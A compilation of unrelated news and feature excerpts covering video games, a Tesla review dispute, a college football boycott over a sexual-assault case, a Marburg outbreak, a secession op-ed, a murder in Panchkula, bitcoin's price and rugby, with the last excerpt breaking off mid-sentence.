-Elite: Dangerous developer Frontier has registered a trademark for something called Elite: Deadly.  NeoGAF user "ekim" (via PCGamesN) spotted the trademark on the website of the Office for Harmonization in the Internal Market (OHIM), which handles trademarks in Europe. It was registered by Maguire Boss, an entity also based in Cambridge that has secured trademarks for previous Frontier games.  Deadly is one step above Dangerous in Elite's pilot ranking system. The final and top ranking is Elite.  So what is Elite: Deadly? Some have suggested it's a companion app. Others an expansion to Elite: Dangerous. Frontier declined to comment when contacted by Eurogamer. But it may relate to a previous trademark Frontier registered last year.  That was for the word "Thargoid", which is the name given to the Elite universe's insectoid race who originate from somewhere outside known space.  Thargoids first made an appearance in the original Elite game, but vanished circa Frontier. In July 2014, Frontier chief David Braben told The Average Gamer he wanted Elite: Dangerous version of the Thargoids "to be as terrifying and as alien as we can make them".  Watch this space, then.
-Imagine if 70 percent of Americans commuted to work using electric cars, but then new internal combustion engine technology came along that made driving much cheaper and could liberate another 15 percent of the population from reliance on buses. Well, it’d face some daunting obstacles. Sure, you could buy a bunch of gasoline to store in your garage to refill the vehicle at night but not everyone who owns a car has a garage. What’s more, even though on the typical day you’re just driving to and from work a big part of the appeal of homeownership is freedom. With an electric car, you and your family could just drive off to Toledo or Charleston or wherever on a moment’s notice and stop at a charging station whenever you need to power up. With a gasoline-powered care you have a range anxiety problem. Of course if lots of people already owned gasoline-fueld cars, we might have a nationwide network of gasoline depots at which it was possible to refill with all the convenience of a plug-in station. But you can’t get the chicken without the egg and you can’t get the egg without the chicken.  Which is exactly why Tesla Motors is so eager to publicize its early deployment of a handful of state-of-the-art charging stations in key coastal corridors to make the case that you can drive all up-and-down without a worry. If you can get a critical mass of early adopters excited about that limited set of existing infrastructure, you build momentum for more infrastructure and more electric cars. So John Broder’s nightmare story in The New York Times of misleading energy counts, freezing temperatures, and ending up stranded on the roadside is a disaster for Tesla. Except Tesla says they put equipment in the car to monitor driving patterns and charge levels, and according to their data Broder is just lying about what happened. Allegedly he didn’t drive the route he said he drove in the article, didn’t set the temperature where he said he sent it, didn’t charge the car as much as he said he charged it, and didn’t go the speeds he said he went. Broder fires back here.
-Video (01:21) : The players made a number of demands from University of Minnesota officials and said the team would boycott the Holiday Bowl game if they were not met.  After refusing to practice Thursday, Gophers players donned their maroon game jerseys and announced that they are boycotting all football activities — even their Dec. 27 bowl game, if need be — in protest of the University of Minnesota’s decision to suspend 10 teammates as a result of a September sexual assault allegation.  Those 10 suspended players stood directly behind seniors Drew Wolitarsky, Mitch Leidner and Duke Anyanwu — with the rest of the team arrayed behind them in support — as Wolitarsky read from a typed, two-page statement, laying out the players’ demands.  “The boycott will remain in effect until due process is followed and the suspensions for all 10 players involved are lifted,” Wolitarsky said.  Wolitarsky said the players want an apology from university President Eric Kaler and athletic director Mark Coyle, adding that the players “demand that these leaders are held accountable for their actions.”  Asked if the players were worried about losing their scholarships, Wolitarsky responded: “We’re all in this together. What are they going to do, pull 120 guys off the team? They won’t have a team if that’s the case.”  Kaler and Coyle issued a joint statement that acceded to none of the players’ demands but said, “We want to continue an open dialogue with our players and will work to do that over the coming days.”  Gallery: Photos: Gophers football players stand behind boycott Gallery: Photos: Gophers football players stand behind boycott  Gophers coach Tracy Claeys expressed support for his players, tweeting, “Have never been more proud of our kids. I respect their rights & support their effort to make a better world!”  On Tuesday, the school suspended 10 players indefinitely from all team activities, with those players facing new sanctions from the university’s office of Equal Opportunity and Affirmative Action (EOAA).  According to the players’ attorney, the EOAA recommended expulsion for Ray Buford, Carlton Djam, KiAnte Hardin, Dior Johnson and Tamarion Johnson. The attorney said the EOAA recommended one-year suspensions from the university for Seth Green, Kobe McCrary, Mark Williams and Antoine Winfield Jr., and probation for Antonio Shenault.  Some of the players were directly accused by a female student in an alleged sexual assault in the early morning hours after the Gophers’ Sept. 2 season opener; the involvement of others is unclear. The school discipline comes weeks after a criminal investigation resulted in no arrests or charges. The woman’s allegations were documented through police reports and court testimony, and ultimately led to the EOAA investigation.  Wolitarsky said the team wants the players reinstated because they were punished “for things they didn’t do.” Attorney Lee Hutton, who is representing all 10 players, said he is working on their appeals.  Wolitarsky said the players were incensed after a brief meeting with Coyle following Wednesday’s practice.  “We got no answers to our questions about why these kids were suspended when they were just found [innocent] by the law,” Wolitarsky said. “He basically told us that he didn’t have answers, and that led us to believe that this is kind of unjust. He has the power to reverse this, and he won’t.”  Instead of going through their scheduled Thursday afternoon practice, the players called a meeting and invited just one staff member — linebackers coach Mike Sherels, sources told the Star Tribune.  “All these kids’ reputations are destroyed,” Leidner said. “Their names are destroyed, and it’s extremely difficult to get back, and it’s very unfair for them and that’s why we’re sticking together through this thing.”  With that unified voice, the players then invited Claeys to join their meeting. Sources told the Star Tribune that the head coach expressed reservations about the boycott at first but relented by meeting’s end.  Claeys declined further comment through a team spokesman. The Gophers were scheduled to hold five practices over the next seven days before flying to San Diego on Dec. 23, four days before the Holiday Bowl game against Washington State.  “This decision for the players to take this stance is not easy, but important to preserve the integrity of our program and ourselves,” Wolitarsky said. “We note that the Holiday Bowl Committee, Washington State and the fans are affected by that decision. To that end, we respectfully request that the Holiday Bowl Committee be patient during this time, while Mark Coyle considers his decision to suspend. We also want to request that Mark Coyle make his decision with due haste.”  A source confirmed that Northern Illinois is next in line for a bowl game and a candidate to replace Minnesota in the Holiday Bowl. The decision on whether Minnesota will play likely needs to be made in the next few days, as a potential replacement team would need time to prepare.  Mark Neville, the bowl’s executive director, issued a statement that said, “We are continuing to prepare for the [bowl game], however, we are aware of the situation at the University of Minnesota and are monitoring it closely.”  Leadership crisis  Winfield’s father, Antoine Winfield Sr., the former Vikings standout, stood to the side as the players spoke. Afterward, the elder Winfield was asked if his son will return to the U.  Gophers wide receiver Drew Wolitarsky, center, flanked by quarterback Mitch Leidner, left, and tight end Duke Anyanwu, read the statement on behalf of all the players.  “If the president and athletic director keep their jobs, my son, Antoine Winfield Jr., will not attend the University of Minnesota,” he said.  Kaler said in a letter Wednesday to university boosters that Claeys made the decision to suspend the players, with support from Coyle. Later in the evening, Coyle clarified that he made the decision in consultation with Claeys.  But two sources said Thursday that the decision was made above Claeys.  “Mark Coyle did it,” Wolitarsky said. When told of Kaler’s statement that Claeys made the decision, Wolitarsky said, “I don’t believe that.”  Kaler and Coyle’s statement said: “We understand that a lot of confusion and frustration exists as a result of this week’s suspension[s]. ... The reality is that not everyone can have all of the facts, and unfortunately the University cannot share more information due to federal laws regarding student privacy. We fully support our Gopher football players and all of our student-athletes. Situations like this are always difficult and the decision was made in consultation with and has the full support of President Eric Kaler. The decision was based on facts and is reflective of the University’s values.  “... It’s important that we continue to work together as we move through this difficult time.”  Background on allegations  According to police reports and the student’s testimony, the student, who is part of the gameday operations at TCF Bank Stadium, drank five to six shots of vodka on the night of Sept. 1 before heading out of her apartment with her roommates toward Dinkytown.  Minnesota head coach Tracy Claeys  She then went with two football players to the Radius, an off-campus apartment building. Though she said her memory was spotty, she recalled Djam in a common area asking her to go up to his apartment. She would later testify that she had no intention of having sex.  She said she felt panicked when Djam walked her into his bedroom, but later testified that he never pushed her, prevented her from leaving or said anything threatening to her.  Asked during a court hearing why she didn’t leave, she said, “I felt scared, trapped, isolated with someone I felt had power over me.”  At some point, they began having sex. The police report said “she doesn’t have a recall about how the sex acts started.”  After Djam, others followed. She told police she saw a line of men waiting to take turns.  “I was removing myself from my mind and my body to help myself from the pain and experience going on,” she testified.  She estimated there were at least a dozen men. “I was shoving people off of me,” she testified. “They kept ignoring my pleas for help. Anything I said they laughed. They tried to cheer people on.”  About an hour and a half later, she said, she was allowed to leave. She called her sister, who told her to go to the hospital immediately, where she was given a rape exam, while her mother made a report to Minneapolis police. The next day, an officer sat down with the student, who described her version of what happened.  On Sept. 8, police investigators Eric Faulconer and Matthew Wente interviewed Djam. He acknowledged having sex with the woman, but was adamant that it was consensual. As proof, he played them three separate videos, totaling about 90 seconds, taken that morning.  During an 8-second clip, the woman “appears lucid, alert, somewhat playful and fully conscious; she does not appear to be objecting to anything at this time,” Wente wrote in his report. After viewing two additional videos, he wrote “the sexual contact appears entirely consensual.”  Police later interviewed four other players, who each said the sex was consensual.  On Sept. 30, Wente sent the investigation to the Hennepin County Attorney’s office for possible prosecution. In it, he wrote about the videos, “at no time does she indicate that she is in distress or that the contact is unwelcome or nonconsensual.”  On Oct. 3 the attorney’s office announced there would be no charges.  Afterward, the alleged victim filed a restraining order against six of the players, asking that they be made to stay away from the stadium. After a judge granted the orders, the woman dropped a petition against one of the players.  Hutton, the players’ attorney, appealed, setting up a hearing where the woman testified for several hours. The hearing eventually ended in a settlement — the restraining order would be dropped, but the players still had to stay 20 feet away from the woman and have no contact with her. The two sides also agreed that neither would be able to file a lawsuit.  “I’m glad this is over,” the student read in a statement after the hearing. “This has never been about punishing anyone, I just wanted to feel safe. Because of this resolution that we came to, now I do.”
-“Motherd—k!” We’re guessing we might all be quoting one of our favorite Abraham Ford-isms after The Walking Dead’s Season 5 finale, at least according to what Abraham’s portrayer, Michael Cudlitz, hints to us about the March 29 season ender.  “It’s going to piss you off,” the actor tells Yahoo TV. “There will be tears, but also, once again, like the writers have been doing pretty consistently, it tees up a new beginning in a very, very different way.”  Cudlitz, who’s completing his first full season on The Walking Dead, also tells us what’s motivating Abraham after his D.C. dreams were dashed, why Abraham is more at ease when life is in chaos, what he thinks about that weasel Father Gabriel, and how much he revels in the lighter moments of playing one of the series’ most colorful (and we’re not just talking about the hair and beard hues) characters.  In “Spend,” right before the walkers attacked at the construction site, Abraham seemed to be having a panic attack, or maybe sensed something was going to happen. What was going on with him?  I think a little bit of everything you just mentioned. He’s very aware. He doesn’t want to be out there anymore, from a very real standpoint. None of them want to be out and unprotected. I think he’s processing everything. This is his downtime. This is something he has not had before [since the apocalypse happened], and it’s almost like idle time is not good for him, because he doesn’t want to process what he has to process. He’d rather keep moving forward. As long as he’s moving forward on whatever mission it is, there’s not that time where you’re left with yourself and your own thoughts. Now that they’re in Alexandria and the basic necessities are taken care of, there’s much more time to think. Thinking is what’s going to be the thing that rocks the boat quite a bit in Alexandria.  Is Abraham almost more relaxed in battle than he is when things are peaceful?  I think he terrifies himself, because the thing he’s good at is the thing he wishes he was not good at. The thing that he is good at is what cost him his family. It’s a constant reminder.  What do you think motivates him at this point?  I think his motivation’s changed and is changing. It obviously was the mission to D.C., and that was destroyed. Then there was a time where he was floating completely aimlessly. Now we’re into a phase where, as he said to Michonne at the cocktail party, things have worked out pretty damn good for him. He looks back and, OK, he almost killed himself. He was saved from that situation. Ultimately, he’s in a place where he sees that there’s potentially a future in Alexandria. Now the mission becomes shifting to his place in this new world. Unfortunately, his place in this new world is the same place that he had in the old world.  View photos  There are things that he is good at… that can’t be denied. And there’s things that he probably wishes he could deny. But he is definitely in his element when doing that. He is definitely at his most relaxed. That is something that [showrunner] Scott Gimple really wanted to make sure that we got across — you see it way back even when Tara says to him, “You were smiling when you were killing those walkers,” when you meet Abraham. He’s completely unaware of how relaxed and how in his element he is, and how effortless it is once he goes into that killing machine mode. It is literally what he was built for.  Related: The ‘Walking Dead’ Brain-Dead Move of the Week: I’d Shoot a Grenade for You  As you said, Alexandria potentially could offer this safe haven, this chance to start over for everyone. Could Abraham ever imagine himself starting over, in terms of creating a new family, or is the idea of that just too painful, considering what happened to his wife and kids?  I think possibly. One thing that the show always holds on to is hope. I think that all the characters have to have hope, because if anyone’s given up or has sort of said, “This is enough,” I think you’re setting yourself up for disaster. There has to be hope for the future. Even if you think that it probably won’t happen, there has to be the possibility that it might happen. So, I think that he hopes for and he wishes that things can be different, but ultimately in his heart of hearts, and the audience’s view of what’s happening, it’s not really going to change. Nothing’s ever going to really be normal. The people who have it best right now are the children, the youngest children, because they didn’t know the world in any different way, so they will learn to adapt and be happy in this world, not knowing what they’ve lost. I think the adults have a much, much harder journey and much harder transition.
-Marburg virus disease - Uganda  On 11 November 2014, the Government of Uganda declared that Uganda was free of the Marburg virus. This declaration was made at the National Media Centre by the Minister of State for Primary Health Care, Hon. Sarah Achieng Opendi.  On 4 October 2014, WHO was notified by the Government of Uganda of a case of Marburg virus disease. The case was a male health professional that developed symptoms on 11 September. On 17 September, the patient was admitted to a district health facility in Mpigi. He was later transferred to a hospital in Kampala. On 28 September, the case passed away and was buried on 30 September in Kasese district.  A national task force with 5 sub committees (surveillance/epidemiology, case management, social mobilization, psychosocial, and coordination) oversaw the outbreak response. A total of 197 case contacts were listed and followed up for 21 days. Thirteen contacts developed Marburg-like symptoms but all tested negative for the virus. Suspected Marburg cases were managed in 4 isolation facilities in Kampala, Wakiso/Entebbe, Mpigi, and Kasese districts. Psychosocial support was provided to contacts and family members of the deceased. The public was sensitized about Marburg and viral haemorrhagic fevers.  Since there have been no active cases of Marburg for 42 days, the outbreak is considered to be contained.  Heightened surveillance activities will be maintained to identify potential outbreaks in the future. Public awareness campaigns will also continue in view of the ongoing Ebola virus disease outbreak in West Africa.  The response was supported by WHO, UNICEF, USAID, World Vision, Uganda Red Cross, Médecins Sans Frontières (MSF), the African Field Epidemiology Network (AFENET) and the US Centers for Disease Control and Prevention (CDC).
-Ringing Bells to refund Freedom 251 payments: Report Ringing Bells MD Mohit Goel has claimed that the company has refunded the money of all 30,000 customers and that it will accept cash on delivery only.  Freedom 251: Queries (FAQs) about the cheapest smartphone answered While initially there might be a lot of doubts around the Freedom 251, Ringing Bells is just clinging on to the price of device to silence critics, which by the way are growing by each passing minute.  NEW DELHI: Ringing Bells , a little-known company that ran into controversy after announcing a Rs 251 'smartphone' , today claimed it will start deliveries of the handset to customers from June 28.Deliveries will start to customers who have registered for buying the phone, Noida-based company's director Mohit Goel said."We will start shipment of Freedom251 from June 28 to customers who paid for it earlier on COD (cash-on-delivery) basis," he told .Ringing Bells began selling the handset, Freedom251, via its website in February. But the launch of the smartphone, touted to be the world's cheapest, swirled into controversy, with some calling it a ponzy scheme .Also, the website of the company crashed during two-day sale due to huge response from prospective buyers. The company claimed that around 30,000 customers had booked the phone despite the glitch.The company, however, withdrew the product and refunded the payments to customers following a close scrutiny by government agencies.The company had said about 30,000 people paid for booking the phone and over 7 crore people registered for it.Later, the company said that it would deliver the phone on cash-on-delivery mode to those who placed the order.Goel said that Ringing Bells has a foolproof plan to support the price but did not disclose it.Ringing Bells president Ashok Chaddha had explained earlier that the manufacturing cost of the phone was about Rs 2,500, which had to be recovered through a series of measures like economies of scale, innovative marketing, reduction in duties and creating an e-commerce marketplace.He had said that the company would make phones in India that would lead to 13.8% savings on duties and further save on cost by selling it online.The phone was to be manufactured in Noida and Uttaranchal."Two plants will be set up for Rs 250 crore each with a capacity of 5 lakh phones. The money will come in the form of debt and equity (1.5:1)," Chaddha had said.However, industry players had expressed doubt over the claim. Telecom minister Ravi Shankar Prasad too had asked the Department of Electronics and IT to look into the matter.The company had also come under the scanner of Excise and Income Tax Departments amid debate over the feasibility of a 3G-enabled handset for Rs 251.
-Lesvos Greece  The Question: How do over-the-counter sleep aids like ZzzQuil help me fall asleep?  The Answer: These days there is a wide variety of OTC medications filling pharmacy shelves that are advertised as sleep aids for those struggling to drift off at the end of a long and stressful day. However, the active ingredient in many of these drugs is one that will be familiar to people with allergies: antihistamines. The only difference is often marketing, according to sleep medicine experts.  Looking at the label, one can see that the active ingredient in ZzzQuil is diphenhydramine, which is more commonly known as the active ingredient in Benadryl, according to Shalini Paruthi, M.D., a fellow of the American Academy of Sleep Medicine and the director of the Pediatric Sleep and Research Center at Cardinal Glennon Children's Medical Center. In other words, the antihistamine that has helped relieve us of sneezing and itchy, watery eyes for decades is also being used to address our disturbed sleep.  "We do know that antihistamines can certainly make people feel sleepy, and so we do find diphenhydramine in a number of over-the-counter medications that advertise as helpful for people trying to fall asleep at night," said Dr. Paruthi. "But it's important to know that when we use something like diphenhydramine to help us sleep at night, we’re actually using it for its side effect – not its treatment, which is to fight allergies."  Little long-term research exists on the risks associated with continuous use of OTC sleep aids, but Dr. Paruthi said the main concern among physicians and sleep specialists is the potential for dangerous drug interactions with other medications. But for a person in good health who does not take other prescription medications, this risk is much lower. Instead, the danger for this group is that they'll experience drowsiness that lasts longer than the amount of time they intended to sleep.  Trying an over-the-counter solution to get through a particular rough patch can be fine, said Dr. Paruthis. "After a couple of weeks, if they aren’t experiencing better sleep, that is a good time to see their physician or consult a sleep medicine expert."  In addition to diphenhydramine, the most common active ingredients in OTC sleep aids include melatonin (a synthetic version of the naturally-occurring hormone that signals to our bodies that it time for bed) and tryptophan (the component commonly associated with Thanksgiving Day turkey). Herbal remedy alternatives typically include valerian, chamomile or kava, according to Dr. Paruthi.  At the end of the day, the most important question people considering using an OTC sleep aid can ask themselves is: "Do I really need it?"  Dr. Paruthi explained that it's much better to check in with your current lifestyle habits before resulting to a chemical solution. Waking up at a consistent time, eating a balanced diet, exercising, and setting a healthy bedtime routine can often alleviate the insomnia-like symptoms so many people experience in our "constantly on" society. It's also important to rule out serious sleep conditions as the potential cause of your inability to rest. Dr. Paruthi recommends visiting a physician or a board-certified sleep specialist to test for problems like obstructive sleep apnea if insomnia is a persistent and serious problem for you. Those conditions left undiagnosed can wreak far more havoc on your health than ZzzQuil.  Have a question for Healthy Living? Get in touch here and we'll do our best to ask the experts and get back to you.
-Editor's Choice  “When in the course of human events it becomes necessary for one people to dissolve the political bands which have connected them with another …”  So begins the Declaration of Independence of the 13 colonies from the king and country to which they had given allegiance since the settlers first came to Jamestown and Plymouth Rock.  The declaration was signed by 56 angry old white guys who had had enough of what the Cousins were doing to them. In seceding from the mother country, these patriots put their lives, fortunes and honor on the line.  Four score and five years later, 11 states invoked the same right “to dissolve the political bands” of the Union and form a new nation. After 620,000 had perished, the issue of a state’s right to secede was settled at Appomattox. If that right had existed, it no longer did.  What are we to make, then, of petitions from 25,000 citizens of each of seven Southern states — 116,000 from Texas alone — to secede?  While no one takes this movement as seriously as men took secession in 1861, the sentiments behind it ought not to be minimized. For they bespeak a bristling hostility to the federal government and a dislike bordering on detestation of some Americans for other Americans, as deep as it was on the day Beauregard’s guns fired on Fort Sumter.  Our Pledge of Allegiance still speaks of “one nation under God, indivisible,” but that is far from the reality in the America of 2012.  The social, cultural, moral and political revolutions of the 1960s, against which Richard Nixon and Ronald Reagan inveighed to win their 49-state triumphs, have now captured half of the country.  One America believes our history is a catalog of crimes against people of color, that women have an inviolable right to abortions, that condoms should be handed out to sexually active teens in schools where Darwinism should be taught as revealed truth, while Bibles, prayers and religious symbols should be permanently expelled.  The other America sees all this as unpatriotic, godless and decadent.  One America believes in equality of rights; the other demands equality of results brought about through the redistribution of income and wealth, affirmative action, racial and gender set-asides, and quotas.  One America believes in gun control; the other in gun rights.  Now that Christmas and Easter have been expunged from public schools and the public square and the popular culture has been thoroughly de-Christianized, we Americans seem to have but one holy day of obligation that brings us all together: Super Bowl Sunday.  Where one America divinizes diversity, the other seeks out our lost unity and community. Half the country pays no federal income taxes, but half depends on federal benefits.  The occasions when we come together as one, as after 9/11 and during natural disasters such as Katrina and Sandy, seem few and farther between, and the resurrected unity rarely lasts.  Could today’s America come together to build an interstate highway system or send astronauts to the moon, as we did just seven years after John Glenn first orbited the Earth?  Environmentalists would have killed Ike’s highway system and the Hoover and Grand Coulee dams, as today they seek to stop the fracking for oil and natural gas and block the Keystone XL pipeline.  As for states seceding, however, is that really a solution to national disintegration? Tens of millions with Blue State mindsets live in Red State America, and vice versa. While folks in Texas may talk of seceding from the Union, folks in Austin talk of seceding from Texas.  Yet we should take seriously what is behind this desire to separate and sever ties, for it mirrors what is happening across our civilization.  The West is decomposing.  British Tories seek to cut ties to the European Union. Scots want to leave Britain. Catalans vote to divorce from Spain, to which they have been wedded since the 15th century. Flemish talk of leaving Walloons behind in Belgium. Northern Europeans are weary of carrying their profligate southern brethren and muse about cutting Greece adrift and letting it float out into the Mediterranean.  And Americans are already seceding from one another — ethnically, culturally, politically. Middle-class folks flee high-tax California, as Third World immigrants, legal and illegal, pour in to partake of the cornucopia of social welfare benefits the Golden Land dispenses.  High-tax states like New York now send tens of thousands of pension checks to Empire State retirees in tax-free Florida. Communities of seniors are rising that look like replicas of the suburbs of the 1950s. People gravitate toward their own kind. Call it divorce, American-style.  What author William Bishop called “The Big Sort” — the sorting out of people by political beliefs — proceeds. Eighteen states have gone Democratic in six straight presidential elections. A similar number have gone Republican.  “Can we all just get along?” asked Rodney King during the Los Angeles riot of 1992. Well, if we can’t, we can at least dwell apart.  After all, it’s a big country.
-Konami is to release PES 2016's upcoming UEFA Euro 2016 DLC for free in an effort to win back the trust of fans following the blunders with last month's player transfer Data Pack, the publisher has announced.  While details on the content have yet to be revealed, all PES 2016 owners will be able to download the DLC free of charge upon its release, with a further Data Pack introducing the Maracana Stadium, new national team kits, club teams and an updated player roster set to arrive in early December.  "It has been a difficult few months for the fans in how we have been delivering content in our recent Data Packs, with some items missing that our consumers expected," said Konami's Football & Alliances Director Erik Bladinieres. "The PES Production team appreciate their fans' support and want to reward their support and bring back confidence in the Data Pack releases. With this announcement, we hope we can regain their trust."  He continued: "We strive to keep delivering quality content to our fans, for free. The content of the UEFA EURO 2016 content has yet to be defined, but all content delivered by Data Pack featuring EURO for next year's prestigious tournament will be free to all existing users."  PES 2016 launched on PS4, Xbox One, Xbox 360, PS3 and PC back in September and, according to Steve, is "the best football game ever".  Konami was criticised, however, for its failure to deliver the promised player transfers in the game's first Data Pack, leading to frustration from fans upset with the game's outdated rosters.  A release window for the UEFA Euro 2016 DLC has yet to be announced.  Source: Konami
-PANCHKULA: Three assailants armed with swords and a country-made pistol broke into the house of a 26-year-old local BJP leader and bludgeoned him to death after firing at him in Saketri in the wee hours of Monday.Ashutosh Bhardwaj, the victim, had returned home after attending a wedding ceremony and was sleeping with his younger brother Rahul on the first floor when Sanjay Kumar , Tinku and Ajay Kumar scaled the boundary wall. One of them fired a shot at Ashutosh, leaving him with a stomach wound. The rest then pounced on him with swords. When Rahul tried to save him, he too was attacked. He suffered neck, head and arm injuries. The father of Ashutosh, Kishan Bharadwaj, who was sleeping on the ground floor, ran upstairs after hearing the screams of his sons. While Sanjay and Tinku managed to escape, Ajay was caught and locked inside the washroom.The police later arrested both Sanjay, brother of Saroj, and Tinku."I saw the two accused escape after climbing the side wall of our house. I tried my best to nab them but they fled on their bikes," said Kishan. He alleged the murder was plotted by Saroj Hooda, a political rival of Ashutosh and their neighbour. "I saw Saroj standing on the street and shouting at her boys to murder the whole family. She is the main mastermind behind the murder," alleged Kishan.Rahul said, "The Hooda family had earlier too fought with my brother. The son of Saroj, Arun, had also attacked me once."Police sources said Ajay was wanted by the Rohtak police in various criminal cases and was living in Haridwar. He was immediately taken into custody.ACP Jagtar Singh said old enmity was the reason behind the murder.The police have booked the three under Sections 148, 149, 323, 452 and 302 of the IPC and under Sections 25, 54 and 59 of the Arms Act. The police have also rounded up fiver persons, Arun Hooda, Manu Hooda, Tarun Hooda and Zorawar Hooda , all relatives of Saroj, and R D Swami, a priest at a temple in Saketri.Ashutosh had succumbed to his injuries at PGI, while Rahul was discharged after receiving first aid treatment.
-The digital currency bitcoin continued its surge on Tuesday crossing $200, more than doubling in value in just over one week. Bitcoin's value at the end of February was just over $30.  Bitcoin allows users to exchange online credits for goods and services. There are currently 10 million bitcoins in circulation but the currency is capped at 21 million coins.  Bitcoin's value rise is being ascribed to the uncertainty over other currencies, the fallout from the Cyprus crisis and the intense media speculation.  (Read More: Bitcoin Bubble: How 'Geeks' Sent Prices Parabolic)  Much of that media scrutiny has asked whether Bitcoin's rise is a bubble in the making. Warning signs are evident: the digital currency's value fell $20 last Wednesday when Mt. Gox, the largest trading platform for the currency, suffered an outage for an hour. It also dropped 10 percent in value on Monday without explanation.  David Jones, chief market strategist at IG Markets, says the rising demand for bitcoin makes it a potential safe haven given that the currency has a limited output – by 2140, all bitcoins will have been generated. "If it's something where there will always be demand, the fact that it's limited should give you security, like with gold," Jones said. "The issue is whether at this stage, where it's gone up 200 percent, there is a lot further for it to go. No one knows."  Not all Bitcoin news has been positive. Yesterday it was reported that a piece of malware on Skype was hijacking computers and forcing it to mine bitcoins. Jones said such stories did make for discomforting reading for bitcoin investors.  (Read More: Bitcoin Great for Narco-Dollar Traffickers: Pro)  "Part of bitcoin's appeal is that there is no regulation, so nobody can come in and force quantitative easing etc.," he said, "but no regulation also means someone could turn on a tap and just create more and more bitcoins. I'm not saying bitcoin's price won't go up any further, but I'm not putting my pension on it."  Jones concluded that while bit coin could indeed rise further in the next few weeks,"my guess is that in a year's time I wouldn't be surprised if we'd stopped talking about it."
-Over the near half a century that the Justice League (and its numerous incarnations) has existed, they’ve had a variety of places to call their home. Happy Harbor is both easy to remember due to the alliterative nature of the name and for being the very first place that the Justice League ever operated out of when they were through being the Justice Society—or more accurately, when the JSA became the superteam of Earth-2 at the dawn of the Silver Age of Comics. Fans of Young Justice (whether from its on screen or on page incarnations), should also recognize the name Happy Harbor as being the home base for this iconic team of legacy characters.  As each individual member of the Justice League has changed over the years and the roster has grown and shrunk, so has the scale of the threats that they were facing. Starro was a pretty formidable bad guy in the beginning. He was at the very least a big enough threat to bring the very first team together (Wonder Woman, Green Lantern, The Flash, Aquaman and Martian Manhunter). The team did graduate to bigger and badder threats, and I think the existence of DC villains like Darkseid, Doomsday and the Dominators are reason enough why a cave by the sea was insufficient. From where I’m standing, the Hall of Justice presents a very similar set of problems. There’s a nice idea with The Hall of Justice in that it provides a very public face and interface for the public that relies on the world-saving powers of the Justice League regularly. A museum as well as a team HQ, this structure does something interesting by bringing these god-and-goddess-level heroes down to a human level. But aside from the Hall of Justice being a smart branding move, it provides little advantage over Happy Harbor. Both locations ultimately suffer from creating tunnel vision for the team’s worldview. Tragedies that happen to take place within the vicinity of the Hall of Justice are probably taken care of with increased speed and gusto. If something terrible is taking place in a more outlying area there’s a chance it will not be attended to as readily. Now, if the team we’re talking about is the Justice League of America and their domain is going to be mainly the continental United States, then either of the headquarters previously mentioned will do the job just fine. But when the Justice League has to worry about the fate of the entire world (sometimes throughout time), then there’s a need for a larger presence. In the past, the Justice League has had embassies sprinkled all over the world and that’s definitely a step in the right direction, although in order to keep them all staffed, active members of the League often have to split apart by significant geographic distances.  The middle of the Silver Age saw the introduction of the Justice League Satellite and this is the scale of headquarters that I’m talking about. If you are a long-time DC reader, then you know the Satellite Era of the Justice League has some pretty crazy adventures (and equally tragic events) that take place out in space. I think this does a good job at illustrating how widespread the danger is that these superheroes are facing on a regular basis.  In and of itself the Satellite is not perfect, however. It lacks any real ease of transportation for characters who don’t fly, are not invulnerable or can’t breathe in space. Those are some pretty significant shortcomings when you consider how important Batman and the rest of the members of the Batfamily are to any number of Justice League teams.  What this really boils down to is my love of the Justice League Watchtower. It was first introduced by Grant Morrison and Howard Porter in their kick butt JLA series. A lot of DC fans probably first met the Watchtower in the Justice League animated series that came a few years later and took a lot of notes from this same comic run. Transportation to-and-from the Watchtower was streamlined by Boom Tubes, technology was upgraded from anything they had ever possessed in the past and it was big. The Watchtower allowed for more reserve members—more members overall—so the Justice League was capable of operating at the most highly productive rate possible. The very existence of the Watchtower allows them to save as many people as possible, as often as possible.  Side note: If you want to check out the aforementioned JLA series (and you should!), you can get volume one right here.  By opening up the scale upon which the Justice League can function, we, as readers, are being told that the Justice League has all of our backs. Anywhere in the world, at any time. For those few of us who have ever gone interstellar, we can count on them too. Some critics, prone to paranoia, might want to argue that the Watchtower creates a Big Brother state where citizens of the world would be constantly watched. I would encourage those people to flip the script and consider it from this viewpoint: the Watchtower allows the Justice League to watch over and watch out for as many people who are relying on them as possible.  Some of this is a matter of geography, but it’s mostly a matter of scale—and the scale upon which our modern myths can operate.  Ashley V. Robinson writes about Rebirth for DCComics.com and covers The Flash for the #DCTV Couch Club. Look for her on Twitter at @AshleyVRobinson.
-Richie McCaw leads the All Blacks for the 100th time on Sunday. RICHARD KNOWLER was in Cardiff to hear coach Steve Hansen and McCaw sift through the memories of a remarkable career.  Steve Hansen tells an amusing anecdote about the time Richie McCaw risked being pummelled by his team-mates.  The eager young flanker had been going berserk at Canterbury trainings in the early 2000s, repeatedly ducking into rucks to steal the ball and, subsequently, annoying senior squad members.  Enough was enough, the old heads agreed. Something needed to be done.  So established forwards Todd Blackadder, Reuben Thorne, Scott Robertson and Angus Gardiner marched up to coach Hansen and demanded he tell McCaw to curb his enthusiasm or they might have to give the cheeky pup a slap.  "Toddy, Reuben, Razor and Angus Gardiner came to me at one point and said 'look if he comes into another ruck and pinches another ball we are going to snot him'," Hansen recalled ahead of McCaw's game against Wales.  "I said 'if you snot him I will be snotting the lot of you, so leave him alone. He's only a baby, just look after him and get there quicker than he is'."  Even back then, Hansen said, McCaw wanted to be the best.  But the coach was also careful to ensure the enthusiastic No 7 didn't unwittingly make enemies.  "I had to go to him quietly and say 'let them win a couple, you are starting to piss them off'," he said.  McCaw, 33, is the current immortal of New Zealand rugby and Hansen wants to ensure his milestone of leading the All Blacks in 100 tests gets the recognition it deserved.  It was Hansen, then working as Canterbury's academy manager, who saw something special in McCaw as a teenager.  The 18-year-old was playing for Otago Boys' High School against Rotorua Boys' in a national secondary schools play-off match at Lancaster Park, setting a firecracker off inside Hansen's head.  Hansen marched to Steve Tew, then the Canterbury chief executive and now NZ Rugby's chief executive, and jabbed a finger at him.  "I went into Tewie's office and said [no matter] how much he costs, just get him. This kid's special."  Tew shook his head, reminding him that Canterbury and Otago had a gentleman's agreement not to poach each other's players. But Otago made a dreadful mistake. They broke that deal and, suddenly, all bets were off.  "They pinched Sam Harding from Christ's College, so we got him [McCaw] up to Lincoln College," Hansen said.  "There was just something about him from day one."  McCaw joined the academy, was given some extra cash to make him feel appreciated, selected for Canterbury and the Crusaders and in late 2001 debuted for the All Blacks against Ireland.  The first time McCaw led his country was almost 10 years ago to the day - also against Wales at the Millennium Stadium. The All Blacks squeezed home 26-25.  When 